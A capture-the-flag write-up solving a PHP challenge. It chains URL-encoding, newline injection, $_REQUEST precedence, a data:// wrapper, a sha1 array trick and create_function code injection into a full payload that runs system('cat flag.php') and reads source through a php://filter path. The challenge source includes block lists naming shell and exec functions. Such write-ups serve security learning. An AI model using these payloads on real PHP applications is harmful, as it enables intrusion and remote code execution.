PHP applications often implement multilpe layers of security filters that require creative bypass techniques. This analysis examines various PHP filter evasion methods including URL encoding, newline injection, and request priority manipulation.
Initial Code Analysis
The target application begins with source code inspection:
<?php
highlight_file(__FILE__);
error_reporting(0);
$target_file = "1nD3x.php";
$user_input1 = $_GET['shana'];
$user_input2 = $_GET['passwd'];
$parameter1 = '';
$parameter2 = '';
echo "<br /><font color=red><B>This challenge requires bypassing multiple security checks</B><br></font>";
if($_SERVER) {
if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))
die('Security violation detected');
}
URL Encoding Bypass
PHP automatically URL-decodes GET parameters while $_SERVER['QUERY_STRING'] contains the raw encoded string. This discrepancy enables filter evasion:
def url_encode_payload(text):
encoded = ''
for char in text:
if char in "=&[];//":
encoded += char
else:
encoded += "%" + format(ord(char), '02x')
return encoded
original = "debu=aqua_is_cute"
encoded = url_encode_payload(original)
print(encoded) # %64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65
Newline Injection for Regex Bypass
The application checks for exact string matching:
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$target_file = $_GET["file"];
echo "Filter bypassed<br>";
}
}
Without the /s modifier, the regex ^aqua_is_cute$ doesn't match newlines. Appending %0a (URL-encoded newline) satisfies the regex while failing the strict comparison:
http://target/1nD3x.php?debu=aqua_is_cute%0a
POST Request Priority Exploitation
PHP's $_REQUEST superglobal combines GET, POST, and COOKIE data with POST taking precedence:
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('Alphabetic characters prohibited');
}
}
Using POST to override GET parameters with numeric values:
GET: debu=aqua_is_cute%0a
POST: debu=1
File Content Validation Bypass
The application validates file contents:
if (file_get_contents($target_file) !== 'debu_debu_aqua')
die("Invalid file content<br>");
Using PHP data protocol witth encoded content:
file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
SHA1 Array Comparison Bypass
PHP's loose typing enables array-based SHA1 collision:
if (sha1($user_input1) === sha1($user_input2) && $user_input1 != $user_input2){
extract($_GET["flag"]);
echo "SHA1 collision achieved<br>";
}
Passing arrays causes SHA1 to return NULL, satisfying the condition:
shana[]=1&passwd[]=2
Function Injection via create_function
The final filter blocks dangerous functions:
if(preg_match('/^[a-z0-9]*$/isD', $parameter2) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $parameter1)) {
die("Dangerous functions blocked");
} else {
include "flag.php";
$parameter2('', $parameter1);
}
Using create_function for code injection:
$injection = create_function('$a, $b', 'return $a+$b;} system("cat flag.php");//');
Equivalent to:
function injected($a, $b) {
return $a+$b;
}
system("cat flag.php");//}
Complete Exploitation Chain
Combining all techniques:
GET: %64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32
&%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
&%66%6c%61%67[%63%6f%64%65]=create_function
POST: debu=1&file=2
The bitwise NOT operator ~ encodes php://filter/convert.base64-encode/resource=rea1fl4g.php to bypass character filters. Base64 decoding the response reveals the flag location and contents.